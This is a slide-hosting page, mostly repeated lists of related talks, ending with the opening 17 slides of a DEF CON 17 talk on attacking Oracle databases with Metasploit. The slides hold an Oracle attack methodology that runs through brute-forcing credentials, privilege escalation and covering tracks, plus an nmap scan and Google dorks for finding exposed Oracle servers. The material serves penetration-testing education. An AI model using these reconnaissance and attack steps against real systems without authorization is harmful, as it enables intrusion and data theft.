Authentication(pswrd,token,certificate,biometric)
 
Metasploit magic the dark coners of the framework
Metasploit magic   the dark coners of the frameworkMetasploit magic   the dark coners of the framework
Metasploit magic the dark coners of the framework
 
Attacker Ghost Stories (CarolinaCon / Area41 / RVASec)
Attacker Ghost Stories (CarolinaCon / Area41 / RVASec)Attacker Ghost Stories (CarolinaCon / Area41 / RVASec)
Attacker Ghost Stories (CarolinaCon / Area41 / RVASec)
 
Windows Attacks AT is the new black
Windows Attacks   AT is the new blackWindows Attacks   AT is the new black
Windows Attacks AT is the new black
 
Kısıtlar İçerecek Şekilde Revize Edilmiş Atama Algoritmasına Ait Bir Uygulama...
Kısıtlar İçerecek Şekilde Revize Edilmiş Atama Algoritmasına Ait Bir Uygulama...Kısıtlar İçerecek Şekilde Revize Edilmiş Atama Algoritmasına Ait Bir Uygulama...
Kısıtlar İçerecek Şekilde Revize Edilmiş Atama Algoritmasına Ait Bir Uygulama...
 
ISTSEC 2013 - Fuzzy Tabanlı Zaafiyet Araştırması
ISTSEC 2013 - Fuzzy Tabanlı Zaafiyet AraştırmasıISTSEC 2013 - Fuzzy Tabanlı Zaafiyet Araştırması
ISTSEC 2013 - Fuzzy Tabanlı Zaafiyet Araştırması
 

Similar to Attacking Oracle with the Metasploit Framework

SQL Server Security - Attack
SQL Server Security - Attack SQL Server Security - Attack
SQL Server Security - Attack webhostingguy
 
Fire & Ice: Making and Breaking macOS Firewalls
Fire & Ice: Making and Breaking macOS FirewallsFire & Ice: Making and Breaking macOS Firewalls
Fire & Ice: Making and Breaking macOS Firewalls
Priyanka Aash
 
Positive Technologies - S4 - Scada under x-rays
Positive Technologies - S4 - Scada under x-raysPositive Technologies - S4 - Scada under x-rays
Positive Technologies - S4 - Scada under x-raysqqlan
 
Android Boot Time Optimization
Android Boot Time OptimizationAndroid Boot Time Optimization
Android Boot Time OptimizationKan-Ru Chen
 
EM12C High Availability without SLB and RAC
EM12C High Availability without SLB and RACEM12C High Availability without SLB and RAC
EM12C High Availability without SLB and RAC
Secure-24
 
0x02 - Windows Privilege Esc - A Low Level Explanation of Token Theft
0x02 - Windows Privilege Esc - A Low Level Explanation of Token Theft0x02 - Windows Privilege Esc - A Low Level Explanation of Token Theft
0x02 - Windows Privilege Esc - A Low Level Explanation of Token Theft
Russell Sanford
 
0x002 - Windows Priv Esc - A Low Level Explanation of Token Theft
0x002 - Windows Priv Esc - A Low Level Explanation of Token Theft0x002 - Windows Priv Esc - A Low Level Explanation of Token Theft
0x002 - Windows Priv Esc - A Low Level Explanation of Token Theft
Russell Sanford
 
Nullbyte 6ed. 2019
Nullbyte 6ed. 2019Nullbyte 6ed. 2019
Nullbyte 6ed. 2019
Ricardo L0gan
 
Ansible101
Ansible101Ansible101
Ansible101
Hideki Saito
 
Linux Device Driver’s
Linux Device Driver’sLinux Device Driver’s
Linux Device Driver’s
Rashmi Warghade
 
Monitoring MySQL with DTrace/SystemTap
Monitoring MySQL with DTrace/SystemTapMonitoring MySQL with DTrace/SystemTap
Monitoring MySQL with DTrace/SystemTap
Padraig O'Sullivan
 
DefCon 2012 - Rooting SOHO Routers
DefCon 2012 - Rooting SOHO RoutersDefCon 2012 - Rooting SOHO Routers
DefCon 2012 - Rooting SOHO RoutersMichael Smith
 
Kali Linux - Falconer
Kali Linux - FalconerKali Linux - Falconer
Kali Linux - Falconer
Tony Godfrey
 
Technology to Stop Hackers
Technology to Stop Hackers Technology to Stop Hackers
Technology to Stop Hackers
Greater Noida Institute Of Technology
 
Weave User Group Talk - DockerCon 2017 Recap
Weave User Group Talk - DockerCon 2017 RecapWeave User Group Talk - DockerCon 2017 Recap
Weave User Group Talk - DockerCon 2017 Recap
Patrick Chanezon
 
Linux kernel-rootkit-dev - Wonokaerun
Linux kernel-rootkit-dev - WonokaerunLinux kernel-rootkit-dev - Wonokaerun
Linux kernel-rootkit-dev - Wonokaerunidsecconf
 
MySQL JSON Functions
MySQL JSON FunctionsMySQL JSON Functions
MySQL JSON Functions
Sveta Smirnova
 
CoreOS, or How I Learned to Stop Worrying and Love Systemd
CoreOS, or How I Learned to Stop Worrying and Love SystemdCoreOS, or How I Learned to Stop Worrying and Love Systemd
CoreOS, or How I Learned to Stop Worrying and Love Systemd
Richard Lister
 
One Click Ownage Ferruh Mavituna (3)
One Click Ownage Ferruh Mavituna (3)One Click Ownage Ferruh Mavituna (3)
One Click Ownage Ferruh Mavituna (3)
Ferruh Mavituna
 
Practical Tips for Novell Cluster Services
Practical Tips for Novell Cluster ServicesPractical Tips for Novell Cluster Services
Practical Tips for Novell Cluster Services
Novell
 

Similar to Attacking Oracle with the Metasploit Framework (20)

SQL Server Security - Attack
SQL Server Security - Attack SQL Server Security - Attack
SQL Server Security - Attack
 
Fire & Ice: Making and Breaking macOS Firewalls
Fire & Ice: Making and Breaking macOS FirewallsFire & Ice: Making and Breaking macOS Firewalls
Fire & Ice: Making and Breaking macOS Firewalls
 
Positive Technologies - S4 - Scada under x-rays
Positive Technologies - S4 - Scada under x-raysPositive Technologies - S4 - Scada under x-rays
Positive Technologies - S4 - Scada under x-rays
 
Android Boot Time Optimization
Android Boot Time OptimizationAndroid Boot Time Optimization
Android Boot Time Optimization
 
EM12C High Availability without SLB and RAC
EM12C High Availability without SLB and RACEM12C High Availability without SLB and RAC
EM12C High Availability without SLB and RAC
 
0x02 - Windows Privilege Esc - A Low Level Explanation of Token Theft
0x02 - Windows Privilege Esc - A Low Level Explanation of Token Theft0x02 - Windows Privilege Esc - A Low Level Explanation of Token Theft
0x02 - Windows Privilege Esc - A Low Level Explanation of Token Theft
 
0x002 - Windows Priv Esc - A Low Level Explanation of Token Theft
0x002 - Windows Priv Esc - A Low Level Explanation of Token Theft0x002 - Windows Priv Esc - A Low Level Explanation of Token Theft
0x002 - Windows Priv Esc - A Low Level Explanation of Token Theft
 
Nullbyte 6ed. 2019
Nullbyte 6ed. 2019Nullbyte 6ed. 2019
Nullbyte 6ed. 2019
 
Ansible101
Ansible101Ansible101
Ansible101
 
Linux Device Driver’s
Linux Device Driver’sLinux Device Driver’s
Linux Device Driver’s
 
Monitoring MySQL with DTrace/SystemTap
Monitoring MySQL with DTrace/SystemTapMonitoring MySQL with DTrace/SystemTap
Monitoring MySQL with DTrace/SystemTap
 
DefCon 2012 - Rooting SOHO Routers
DefCon 2012 - Rooting SOHO RoutersDefCon 2012 - Rooting SOHO Routers
DefCon 2012 - Rooting SOHO Routers
 
Kali Linux - Falconer
Kali Linux - FalconerKali Linux - Falconer
Kali Linux - Falconer
 
Technology to Stop Hackers
Technology to Stop Hackers Technology to Stop Hackers
Technology to Stop Hackers
 
Weave User Group Talk - DockerCon 2017 Recap
Weave User Group Talk - DockerCon 2017 RecapWeave User Group Talk - DockerCon 2017 Recap
Weave User Group Talk - DockerCon 2017 Recap
 
Linux kernel-rootkit-dev - Wonokaerun
Linux kernel-rootkit-dev - WonokaerunLinux kernel-rootkit-dev - Wonokaerun
Linux kernel-rootkit-dev - Wonokaerun
 
MySQL JSON Functions
MySQL JSON FunctionsMySQL JSON Functions
MySQL JSON Functions
 
CoreOS, or How I Learned to Stop Worrying and Love Systemd
CoreOS, or How I Learned to Stop Worrying and Love SystemdCoreOS, or How I Learned to Stop Worrying and Love Systemd
CoreOS, or How I Learned to Stop Worrying and Love Systemd
 
One Click Ownage Ferruh Mavituna (3)
One Click Ownage Ferruh Mavituna (3)One Click Ownage Ferruh Mavituna (3)
One Click Ownage Ferruh Mavituna (3)
 
Practical Tips for Novell Cluster Services
Practical Tips for Novell Cluster ServicesPractical Tips for Novell Cluster Services
Practical Tips for Novell Cluster Services
 

More from Chris Gates

Reiki 101 - Defcon29 MHHV
Reiki 101 - Defcon29 MHHVReiki 101 - Defcon29 MHHV
Reiki 101 - Defcon29 MHHV
Chris Gates
 
WeirdAAL (Awesome Attack Library) CactusCon 2018
WeirdAAL (Awesome Attack Library) CactusCon 2018WeirdAAL (Awesome Attack Library) CactusCon 2018
WeirdAAL (Awesome Attack Library) CactusCon 2018
Chris Gates
 
WeirdAAL (AWS Attack Library)
WeirdAAL (AWS Attack Library) WeirdAAL (AWS Attack Library)
WeirdAAL (AWS Attack Library)
Chris Gates
 
PENETRATION TESTING FROM A HOT TUB TIME MACHINE
PENETRATION TESTING FROM A HOT TUB TIME MACHINEPENETRATION TESTING FROM A HOT TUB TIME MACHINE
PENETRATION TESTING FROM A HOT TUB TIME MACHINE
Chris Gates
 
Adversarial Simulation Nickerson/Gates Wild West Hacking Fest Oct 2017
Adversarial Simulation Nickerson/Gates Wild West Hacking Fest Oct 2017Adversarial Simulation Nickerson/Gates Wild West Hacking Fest Oct 2017
Adversarial Simulation Nickerson/Gates Wild West Hacking Fest Oct 2017
Chris Gates
 
Home Arcade setup (NoVA Hackers)
Home Arcade setup (NoVA Hackers)Home Arcade setup (NoVA Hackers)
Home Arcade setup (NoVA Hackers)
Chris Gates
 
DevOOPS: Attacks and Defenses for DevOps Toolchains
DevOOPS: Attacks and Defenses for DevOps ToolchainsDevOOPS: Attacks and Defenses for DevOps Toolchains
DevOOPS: Attacks and Defenses for DevOps Toolchains
Chris Gates
 
Building a Successful Internal Adversarial Simulation Team - Chris Gates & Ch...
Building a Successful Internal Adversarial Simulation Team - Chris Gates & Ch...Building a Successful Internal Adversarial Simulation Team - Chris Gates & Ch...
Building a Successful Internal Adversarial Simulation Team - Chris Gates & Ch...
Chris Gates
 
Open Canary - novahackers
Open Canary - novahackersOpen Canary - novahackers
Open Canary - novahackers
Chris Gates
 
Purple Teaming the Cyber Kill Chain: Practical Exercises for Everyone Sector...
Purple Teaming the Cyber Kill Chain: Practical Exercises for Everyone  Sector...Purple Teaming the Cyber Kill Chain: Practical Exercises for Everyone  Sector...
Purple Teaming the Cyber Kill Chain: Practical Exercises for Everyone Sector...
Chris Gates
 
DevOops Redux Ken Johnson Chris Gates - AppSec USA 2016
DevOops Redux Ken Johnson Chris Gates  - AppSec USA 2016DevOops Redux Ken Johnson Chris Gates  - AppSec USA 2016
DevOops Redux Ken Johnson Chris Gates - AppSec USA 2016
Chris Gates
 
Going Purple : From full time breaker to part time fixer: 1 year later
Going Purple : From full time breaker to part time fixer: 1 year later Going Purple : From full time breaker to part time fixer: 1 year later
Going Purple : From full time breaker to part time fixer: 1 year later
Chris Gates
 
DevOops & How I hacked you DevopsDays DC June 2015
DevOops & How I hacked you DevopsDays DC June 2015DevOops & How I hacked you DevopsDays DC June 2015
DevOops & How I hacked you DevopsDays DC June 2015
Chris Gates
 
Devoops: DoJ Annual Cybersecurity Training Symposium Edition 2015
Devoops: DoJ Annual Cybersecurity Training Symposium Edition 2015Devoops: DoJ Annual Cybersecurity Training Symposium Edition 2015
Devoops: DoJ Annual Cybersecurity Training Symposium Edition 2015
Chris Gates
 
LasCon 2014 DevOoops
LasCon 2014 DevOoops LasCon 2014 DevOoops
LasCon 2014 DevOoops
Chris Gates
 
Appsec DC - wXf -2010
Appsec DC - wXf  -2010Appsec DC - wXf  -2010
Appsec DC - wXf -2010
Chris Gates
 
Windows attacks - AT is the new black
Windows attacks - AT is the new blackWindows attacks - AT is the new black
Windows attacks - AT is the new black
Chris Gates
 
Top Security Challenges Facing Credit Unions Today
Top Security Challenges Facing Credit Unions TodayTop Security Challenges Facing Credit Unions Today
Top Security Challenges Facing Credit Unions Today
Chris Gates
 
Big Bang Theory: The Evolution of Pentesting High Security Enviroments IT Def...
Big Bang Theory: The Evolution of Pentesting High Security Enviroments IT Def...Big Bang Theory: The Evolution of Pentesting High Security Enviroments IT Def...
Big Bang Theory: The Evolution of Pentesting High Security Enviroments IT Def...
Chris Gates
 
hackcon2013-Dirty Little Secrets They Didn't Teach You In Pentesting Class v2
hackcon2013-Dirty Little Secrets They Didn't Teach You In Pentesting Class v2hackcon2013-Dirty Little Secrets They Didn't Teach You In Pentesting Class v2
hackcon2013-Dirty Little Secrets They Didn't Teach You In Pentesting Class v2
Chris Gates
 

More from Chris Gates (20)

Reiki 101 - Defcon29 MHHV
Reiki 101 - Defcon29 MHHVReiki 101 - Defcon29 MHHV
Reiki 101 - Defcon29 MHHV
 
WeirdAAL (Awesome Attack Library) CactusCon 2018
WeirdAAL (Awesome Attack Library) CactusCon 2018WeirdAAL (Awesome Attack Library) CactusCon 2018
WeirdAAL (Awesome Attack Library) CactusCon 2018
 
WeirdAAL (AWS Attack Library)
WeirdAAL (AWS Attack Library) WeirdAAL (AWS Attack Library)
WeirdAAL (AWS Attack Library)
 
PENETRATION TESTING FROM A HOT TUB TIME MACHINE
PENETRATION TESTING FROM A HOT TUB TIME MACHINEPENETRATION TESTING FROM A HOT TUB TIME MACHINE
PENETRATION TESTING FROM A HOT TUB TIME MACHINE
 
Adversarial Simulation Nickerson/Gates Wild West Hacking Fest Oct 2017
Adversarial Simulation Nickerson/Gates Wild West Hacking Fest Oct 2017Adversarial Simulation Nickerson/Gates Wild West Hacking Fest Oct 2017
Adversarial Simulation Nickerson/Gates Wild West Hacking Fest Oct 2017
 
Home Arcade setup (NoVA Hackers)
Home Arcade setup (NoVA Hackers)Home Arcade setup (NoVA Hackers)
Home Arcade setup (NoVA Hackers)
 
DevOOPS: Attacks and Defenses for DevOps Toolchains
DevOOPS: Attacks and Defenses for DevOps ToolchainsDevOOPS: Attacks and Defenses for DevOps Toolchains
DevOOPS: Attacks and Defenses for DevOps Toolchains
 
Building a Successful Internal Adversarial Simulation Team - Chris Gates & Ch...
Building a Successful Internal Adversarial Simulation Team - Chris Gates & Ch...Building a Successful Internal Adversarial Simulation Team - Chris Gates & Ch...
Building a Successful Internal Adversarial Simulation Team - Chris Gates & Ch...
 
Open Canary - novahackers
Open Canary - novahackersOpen Canary - novahackers
Open Canary - novahackers
 
Purple Teaming the Cyber Kill Chain: Practical Exercises for Everyone Sector...
Purple Teaming the Cyber Kill Chain: Practical Exercises for Everyone  Sector...Purple Teaming the Cyber Kill Chain: Practical Exercises for Everyone  Sector...
Purple Teaming the Cyber Kill Chain: Practical Exercises for Everyone Sector...
 
DevOops Redux Ken Johnson Chris Gates - AppSec USA 2016
DevOops Redux Ken Johnson Chris Gates  - AppSec USA 2016DevOops Redux Ken Johnson Chris Gates  - AppSec USA 2016
DevOops Redux Ken Johnson Chris Gates - AppSec USA 2016
 
Going Purple : From full time breaker to part time fixer: 1 year later
Going Purple : From full time breaker to part time fixer: 1 year later Going Purple : From full time breaker to part time fixer: 1 year later
Going Purple : From full time breaker to part time fixer: 1 year later
 
DevOops & How I hacked you DevopsDays DC June 2015
DevOops & How I hacked you DevopsDays DC June 2015DevOops & How I hacked you DevopsDays DC June 2015
DevOops & How I hacked you DevopsDays DC June 2015
 
Devoops: DoJ Annual Cybersecurity Training Symposium Edition 2015
Devoops: DoJ Annual Cybersecurity Training Symposium Edition 2015Devoops: DoJ Annual Cybersecurity Training Symposium Edition 2015
Devoops: DoJ Annual Cybersecurity Training Symposium Edition 2015
 
LasCon 2014 DevOoops
LasCon 2014 DevOoops LasCon 2014 DevOoops
LasCon 2014 DevOoops
 
Appsec DC - wXf -2010
Appsec DC - wXf  -2010Appsec DC - wXf  -2010
Appsec DC - wXf -2010
 
Windows attacks - AT is the new black
Windows attacks - AT is the new blackWindows attacks - AT is the new black
Windows attacks - AT is the new black
 
Top Security Challenges Facing Credit Unions Today
Top Security Challenges Facing Credit Unions TodayTop Security Challenges Facing Credit Unions Today
Top Security Challenges Facing Credit Unions Today
 
Big Bang Theory: The Evolution of Pentesting High Security Enviroments IT Def...
Big Bang Theory: The Evolution of Pentesting High Security Enviroments IT Def...Big Bang Theory: The Evolution of Pentesting High Security Enviroments IT Def...
Big Bang Theory: The Evolution of Pentesting High Security Enviroments IT Def...
 
hackcon2013-Dirty Little Secrets They Didn't Teach You In Pentesting Class v2
hackcon2013-Dirty Little Secrets They Didn't Teach You In Pentesting Class v2hackcon2013-Dirty Little Secrets They Didn't Teach You In Pentesting Class v2
hackcon2013-Dirty Little Secrets They Didn't Teach You In Pentesting Class v2
 

Recently uploaded

Generating a custom Ruby SDK for your web service or Rails API using Smithy
Generating a custom Ruby SDK for your web service or Rails API using SmithyGenerating a custom Ruby SDK for your web service or Rails API using Smithy
Generating a custom Ruby SDK for your web service or Rails API using Smithy
g2nightmarescribd
 
Neuro-symbolic is not enough, we need neuro-*semantic*
Neuro-symbolic is not enough, we need neuro-*semantic*Neuro-symbolic is not enough, we need neuro-*semantic*
Neuro-symbolic is not enough, we need neuro-*semantic*
Frank van Harmelen
 
Monitoring Java Application Security with JDK Tools and JFR Events
Monitoring Java Application Security with JDK Tools and JFR EventsMonitoring Java Application Security with JDK Tools and JFR Events
Monitoring Java Application Security with JDK Tools and JFR Events
Ana-Maria Mihalceanu
 
The Art of the Pitch: WordPress Relationships and Sales
The Art of the Pitch: WordPress Relationships and SalesThe Art of the Pitch: WordPress Relationships and Sales
The Art of the Pitch: WordPress Relationships and Sales
Laura Byrne
 
Connector Corner: Automate dynamic content and events by pushing a button
Connector Corner: Automate dynamic content and events by pushing a buttonConnector Corner: Automate dynamic content and events by pushing a button
Connector Corner: Automate dynamic content and events by pushing a button
DianaGray10
 
Unsubscribed: Combat Subscription Fatigue With a Membership Mentality by Head...
Unsubscribed: Combat Subscription Fatigue With a Membership Mentality by Head...Unsubscribed: Combat Subscription Fatigue With a Membership Mentality by Head...
Unsubscribed: Combat Subscription Fatigue With a Membership Mentality by Head...
Product School
 
Builder.ai Founder Sachin Dev Duggal's Strategic Approach to Create an Innova...
Builder.ai Founder Sachin Dev Duggal's Strategic Approach to Create an Innova...Builder.ai Founder Sachin Dev Duggal's Strategic Approach to Create an Innova...
Builder.ai Founder Sachin Dev Duggal's Strategic Approach to Create an Innova...
Ramesh Iyer
 
Elevating Tactical DDD Patterns Through Object Calisthenics
Elevating Tactical DDD Patterns Through Object CalisthenicsElevating Tactical DDD Patterns Through Object Calisthenics
Elevating Tactical DDD Patterns Through Object Calisthenics
Dorra BARTAGUIZ
 
How world-class product teams are winning in the AI era by CEO and Founder, P...
How world-class product teams are winning in the AI era by CEO and Founder, P...How world-class product teams are winning in the AI era by CEO and Founder, P...
How world-class product teams are winning in the AI era by CEO and Founder, P...
Product School
 
FIDO Alliance Osaka Seminar: The WebAuthn API and Discoverable Credentials.pdf
FIDO Alliance Osaka Seminar: The WebAuthn API and Discoverable Credentials.pdfFIDO Alliance Osaka Seminar: The WebAuthn API and Discoverable Credentials.pdf
FIDO Alliance Osaka Seminar: The WebAuthn API and Discoverable Credentials.pdf
FIDO Alliance
 
De-mystifying Zero to One: Design Informed Techniques for Greenfield Innovati...
De-mystifying Zero to One: Design Informed Techniques for Greenfield Innovati...De-mystifying Zero to One: Design Informed Techniques for Greenfield Innovati...
De-mystifying Zero to One: Design Informed Techniques for Greenfield Innovati...
Product School
 
The Future of Platform Engineering
The Future of Platform EngineeringThe Future of Platform Engineering
The Future of Platform Engineering
Jemma Hussein Allen
 
FIDO Alliance Osaka Seminar: FIDO Security Aspects.pdf
FIDO Alliance Osaka Seminar: FIDO Security Aspects.pdfFIDO Alliance Osaka Seminar: FIDO Security Aspects.pdf
FIDO Alliance Osaka Seminar: FIDO Security Aspects.pdf
FIDO Alliance
 
Epistemic Interaction - tuning interfaces to provide information for AI support
Epistemic Interaction - tuning interfaces to provide information for AI supportEpistemic Interaction - tuning interfaces to provide information for AI support
Epistemic Interaction - tuning interfaces to provide information for AI support
Alan Dix
 
Accelerate your Kubernetes clusters with Varnish Caching
Accelerate your Kubernetes clusters with Varnish CachingAccelerate your Kubernetes clusters with Varnish Caching
Accelerate your Kubernetes clusters with Varnish Caching
Thijs Feryn
 
Slack (or Teams) Automation for Bonterra Impact Management (fka Social Soluti...
Slack (or Teams) Automation for Bonterra Impact Management (fka Social Soluti...Slack (or Teams) Automation for Bonterra Impact Management (fka Social Soluti...
Slack (or Teams) Automation for Bonterra Impact Management (fka Social Soluti...
Jeffrey Haguewood
 
UiPath Test Automation using UiPath Test Suite series, part 4
UiPath Test Automation using UiPath Test Suite series, part 4UiPath Test Automation using UiPath Test Suite series, part 4
UiPath Test Automation using UiPath Test Suite series, part 4
DianaGray10
 
GenAISummit 2024 May 28 Sri Ambati Keynote: AGI Belongs to The Community in O...
GenAISummit 2024 May 28 Sri Ambati Keynote: AGI Belongs to The Community in O...GenAISummit 2024 May 28 Sri Ambati Keynote: AGI Belongs to The Community in O...
GenAISummit 2024 May 28 Sri Ambati Keynote: AGI Belongs to The Community in O...
Sri Ambati
 
Assuring Contact Center Experiences for Your Customers With ThousandEyes
Assuring Contact Center Experiences for Your Customers With ThousandEyesAssuring Contact Center Experiences for Your Customers With ThousandEyes
Assuring Contact Center Experiences for Your Customers With ThousandEyes
ThousandEyes
 
FIDO Alliance Osaka Seminar: Passkeys and the Road Ahead.pdf
FIDO Alliance Osaka Seminar: Passkeys and the Road Ahead.pdfFIDO Alliance Osaka Seminar: Passkeys and the Road Ahead.pdf
FIDO Alliance Osaka Seminar: Passkeys and the Road Ahead.pdf
FIDO Alliance
 

Recently uploaded (20)

Generating a custom Ruby SDK for your web service or Rails API using Smithy
Generating a custom Ruby SDK for your web service or Rails API using SmithyGenerating a custom Ruby SDK for your web service or Rails API using Smithy
Generating a custom Ruby SDK for your web service or Rails API using Smithy
 
Neuro-symbolic is not enough, we need neuro-*semantic*
Neuro-symbolic is not enough, we need neuro-*semantic*Neuro-symbolic is not enough, we need neuro-*semantic*
Neuro-symbolic is not enough, we need neuro-*semantic*
 
Monitoring Java Application Security with JDK Tools and JFR Events
Monitoring Java Application Security with JDK Tools and JFR EventsMonitoring Java Application Security with JDK Tools and JFR Events
Monitoring Java Application Security with JDK Tools and JFR Events
 
The Art of the Pitch: WordPress Relationships and Sales
The Art of the Pitch: WordPress Relationships and SalesThe Art of the Pitch: WordPress Relationships and Sales
The Art of the Pitch: WordPress Relationships and Sales
 
Connector Corner: Automate dynamic content and events by pushing a button
Connector Corner: Automate dynamic content and events by pushing a buttonConnector Corner: Automate dynamic content and events by pushing a button
Connector Corner: Automate dynamic content and events by pushing a button
 
Unsubscribed: Combat Subscription Fatigue With a Membership Mentality by Head...
Unsubscribed: Combat Subscription Fatigue With a Membership Mentality by Head...Unsubscribed: Combat Subscription Fatigue With a Membership Mentality by Head...
Unsubscribed: Combat Subscription Fatigue With a Membership Mentality by Head...
 
Builder.ai Founder Sachin Dev Duggal's Strategic Approach to Create an Innova...
Builder.ai Founder Sachin Dev Duggal's Strategic Approach to Create an Innova...Builder.ai Founder Sachin Dev Duggal's Strategic Approach to Create an Innova...
Builder.ai Founder Sachin Dev Duggal's Strategic Approach to Create an Innova...
 
Elevating Tactical DDD Patterns Through Object Calisthenics
Elevating Tactical DDD Patterns Through Object CalisthenicsElevating Tactical DDD Patterns Through Object Calisthenics
Elevating Tactical DDD Patterns Through Object Calisthenics
 
How world-class product teams are winning in the AI era by CEO and Founder, P...
How world-class product teams are winning in the AI era by CEO and Founder, P...How world-class product teams are winning in the AI era by CEO and Founder, P...
How world-class product teams are winning in the AI era by CEO and Founder, P...
 
FIDO Alliance Osaka Seminar: The WebAuthn API and Discoverable Credentials.pdf
FIDO Alliance Osaka Seminar: The WebAuthn API and Discoverable Credentials.pdfFIDO Alliance Osaka Seminar: The WebAuthn API and Discoverable Credentials.pdf
FIDO Alliance Osaka Seminar: The WebAuthn API and Discoverable Credentials.pdf
 
De-mystifying Zero to One: Design Informed Techniques for Greenfield Innovati...
De-mystifying Zero to One: Design Informed Techniques for Greenfield Innovati...De-mystifying Zero to One: Design Informed Techniques for Greenfield Innovati...
De-mystifying Zero to One: Design Informed Techniques for Greenfield Innovati...
 
The Future of Platform Engineering
The Future of Platform EngineeringThe Future of Platform Engineering
The Future of Platform Engineering
 
FIDO Alliance Osaka Seminar: FIDO Security Aspects.pdf
FIDO Alliance Osaka Seminar: FIDO Security Aspects.pdfFIDO Alliance Osaka Seminar: FIDO Security Aspects.pdf
FIDO Alliance Osaka Seminar: FIDO Security Aspects.pdf
 
Epistemic Interaction - tuning interfaces to provide information for AI support
Epistemic Interaction - tuning interfaces to provide information for AI supportEpistemic Interaction - tuning interfaces to provide information for AI support
Epistemic Interaction - tuning interfaces to provide information for AI support
 
Accelerate your Kubernetes clusters with Varnish Caching
Accelerate your Kubernetes clusters with Varnish CachingAccelerate your Kubernetes clusters with Varnish Caching
Accelerate your Kubernetes clusters with Varnish Caching
 
Slack (or Teams) Automation for Bonterra Impact Management (fka Social Soluti...
Slack (or Teams) Automation for Bonterra Impact Management (fka Social Soluti...Slack (or Teams) Automation for Bonterra Impact Management (fka Social Soluti...
Slack (or Teams) Automation for Bonterra Impact Management (fka Social Soluti...
 
UiPath Test Automation using UiPath Test Suite series, part 4
UiPath Test Automation using UiPath Test Suite series, part 4UiPath Test Automation using UiPath Test Suite series, part 4
UiPath Test Automation using UiPath Test Suite series, part 4
 
GenAISummit 2024 May 28 Sri Ambati Keynote: AGI Belongs to The Community in O...
GenAISummit 2024 May 28 Sri Ambati Keynote: AGI Belongs to The Community in O...GenAISummit 2024 May 28 Sri Ambati Keynote: AGI Belongs to The Community in O...
GenAISummit 2024 May 28 Sri Ambati Keynote: AGI Belongs to The Community in O...
 
Assuring Contact Center Experiences for Your Customers With ThousandEyes
Assuring Contact Center Experiences for Your Customers With ThousandEyesAssuring Contact Center Experiences for Your Customers With ThousandEyes
Assuring Contact Center Experiences for Your Customers With ThousandEyes
 
FIDO Alliance Osaka Seminar: Passkeys and the Road Ahead.pdf
FIDO Alliance Osaka Seminar: Passkeys and the Road Ahead.pdfFIDO Alliance Osaka Seminar: Passkeys and the Road Ahead.pdf
FIDO Alliance Osaka Seminar: Passkeys and the Road Ahead.pdf
 

Attacking Oracle with the Metasploit Framework

  • 1. Attacking Oracle with the Metasploit Framework defcon 17
  • 2. Who Are We? Chris Gates <cg [@] metasploit.com> What pays the bills Pentester/Security Consultant Security Blogger http://carnal0wnage.attackresearch.com Security Twit Carnal0wnage Want more? Chris Gates + carnal0wnage + maltego 
  • 3. Who Are We? Mario Ceballos <mc [@] metasploit.com> What do I do? Vulnerability Research/Exploit Development. Metasploit Framework Developer. Focus is on auxiliary and exploit modules. Pentesting for some company.
  • 5. Why Oracle? Why the focus on Oracle? Been on lots of pentests & seen lots of potential targets. The Oracle business model allows for free downloads of products, but you pay for updates. The result is tons of potential shells. Privilege escalation and data theft is pretty easy, but shells are always better.
  • 6. Why Oracle? Why the focus on Oracle? Some support is provided by the commercial attack frameworks, but really don’t have much coverage for non-memory corruption vulns. Other tools that target Oracle. Inguma Orasploit (not public) Pangolin (if you want to give your hard earned shell back to .cn) A few free commercial products focused on vulnerability assessment rather than exploitation.
  • 7. Current Metasploit Support Some support for Oracle is already provided. Exploit modules. Handful of memory corruption modules that target earlier versions of Oracle and some of its other applications. Auxiliary modules. Handful of modules that assist in discovering the SID, identifying the version, sql injection (file-format), post exploitation, and a ntlm stealer.
  • 8. New Metasploit Support Introduction of a TNS Mixin. Handles a basic TNS packet structure. "(CONNECT_DATA=(COMMAND=#{command}))” Used for some of our auxiliary modules. Used for our TNS exploits. Introduction of a ORACLE Mixin. Handles our direct database access. Dependencies: Oracle Instant Client. ruby-dbi. ruby-oci8. http://trac.metasploit.com/wiki/OracleUsage
  • 9. New Metasploit Support (cont.) Introduction of a ORACLE Mixin. Exposes a few methods. connect() Establishes a database handle. disconnect() Disconnect all database handles. preprare_exec() Prepares a statement then executes it.
  • 10. New Metasploit Support (cont.) Introduction of a ORACLE Mixin. Really makes things simple. msf auxiliary(sql) > set SQL "select * from global_name" SQL => select * from global_name msf auxiliary(sql) > run [*] Sending SQL... [*] ORCL.REGRESS.RDBMS.DEV.US.ORACLE.COM [*] Done... [*] Auxiliary module execution completed msf auxiliary(sql) >
  • 11. Oracle Attack Methodology We need 4 things to connect to an Oracle DB. IP. Port. Service Identifier (SID). Username/Password.
  • 12. Oracle Attack Methodology Locate Oracle Systems. Determine Oracle Version. Determine Oracle SID. Guess/Bruteforce USER/PASS. Privilege Escalation via SQL Injection. Manipulate Data/Post Exploitation. Cover Tracks.
  • 13. Oracle Attack Methodology Locate Oracle Systems Nmap. Information Disclosure Vulns. Google.
  • 14. Locate Oracle Systems Nmap. Look for common oracle ports 1521-1540,1158,5560 cg@attack:~$ nmap -sV 192.168.0.100 -p 1521 Starting Nmap 4.90RC1 ( http://nmap.org ) Interesting ports on 192.168.0.100: PORT STATE SERVICE VERSION 1521/tcp open oracle-tns Oracle TNS Listener 10.2.0.1.0 (for 32-bit Windows)
  • 15. Locate Oracle Systems Google. Google dorks to locate Oracle systems. intitle:iSQL intitle:Release inurl:isqlplus intitle:10.1 inurl:pls/portal "Index of" "Oracle-HTTP-Server" Server at Port "Last modified" 1.3.12 www.red-database-security.com/wp/google_oracle_hacking_us.pdf Yahoo dorks? to locate Oracle systems. intitle:iSQL intitle:Release inurl:isqlplus inurl:pls/portal “Oracle-HTTP-Server" Server at Port "Last modified" 1.3.12 www.red-database-security.com/wp/yahoo_oracle_hacking_us.pdf
  • 16. Locate Oracle Systems Sometimes they come pre-0wned. 
  • 17. Oracle Attack Methodology Locate a system running Oracle. Determine Oracle Version. Determine Oracle SID. Guess/Bruteforce USER/PASS. Privilege Escalation via PL/SQL Injection. Manipulate Data/Post Exploitation. Cover Tracks.
